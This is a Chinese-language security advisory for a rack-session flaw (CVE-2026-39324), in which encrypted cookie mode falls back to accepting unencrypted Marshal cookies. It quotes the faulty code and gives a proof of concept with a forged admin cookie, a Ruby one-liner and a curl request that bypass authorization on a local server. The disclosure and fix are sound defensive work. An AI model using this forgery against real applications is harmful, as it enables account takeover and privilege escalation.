Rack::Session::Cookie 解密失败时回退接受未加密 Cookie
| 安全公告 | GHSA-33qg-7wpp-89cq |
| 软件包 | rack-session (RubyGems) |
| 受影响版本 | <= 2.1.1 |
| 已修复版本 | 2.1.2 |
使用 secrets: 配置的 Rack::Session::Cookie 应仅接受加密 Cookie。但当解密失败时,它不会拒绝该 Cookie,而是回退到默认的 Base64::Marshal 编码器。
攻击者可以发送一个纯文本的 Base64(Marshal.dump(...)) Cookie,服务器会在不知道任何密钥的情况下将其作为有效的会话数据接受。
rack-session <= 2.1.1secrets: 选项的 Rack::Session::Cookieuser_id、role 等)进行授权不受影响:
secret:(单数)— 使用 HMAC 签名,走不同的代码路径。只有 secrets:(复数,加密 Cookie 模式)存在漏洞。ActionDispatch::Session::CookieStore,是独立的实现。# lib/rack/session/cookie.rb
# 无论 secrets: 配置如何,始终会创建回退编码器
@coder = options[:coder] ||= Base64::Marshal.new
# 尝试解密 — 对于未加密的 Cookie,所有尝试都会失败
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# 漏洞:不拒绝,而是落入未加密编码器
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
在 secrets: 路径上,解密失败应该是终止性的。但实际却将 Cookie 传递给 coder.decode(),因此纯文本 Cookie 会被加载为会话数据。
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Rack 应用,使用 secrets: 配置
├── verify.rb 基线检查(正常行为)
└── attack.rb 会话伪造(漏洞利用)
cd poc
bundle install
ruby server.rb & # 启动存在漏洞的服务器
ruby verify.rb # 确认正常行为
ruby attack.rb # 伪造 Cookie → 管理员访问
使用 secrets: 进行加密 Cookie 的 Rack 应用。两个用户:id=1(普通用户),id=2(管理员)。会话中仅存储 user_id;管理员检查是服务端查询。
确认服务器正常工作:
| 请求 | 预期结果 |
|---|---|
GET /admin(无 Cookie) | 403 |
POST /login?id=1 | 200,加密 Cookie |
GET /admin(用户 id=1 的 Cookie) | 403 |
在不知道任何密钥的情况下伪造会话 Cookie。
1) 伪造 Cookie:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) 服务器收到伪造 Cookie 时的处理流程:
encryptor #1 decrypt → HMAC 无效
encryptor #2 decrypt → HMAC 无效
回退 → coder.decode() → Marshal.load → 攻击者会话被接受
→ session["user_id"] = 2 → 解析为管理员用户 → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: 会话伪造 ---
目标: http://127.0.0.1:9416
载荷: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
会话 Cookie 加密器错误: HMAC 无效 ← 加密器 #1 失败
会话 Cookie 加密器错误: HMAC 无效 ← 加密器 #2 失败,但 Cookie 未被拒绝
状态: 200
响应体: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] 存在漏洞 — 伪造的 user_id=2 被接受,获得管理员访问权限。
两次 HMAC 检查均失败,但 Cookie 未被拒绝 — 回退编码器接受了它,攻击者获得了管理员权限。
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session 更新至 >= 2.1.2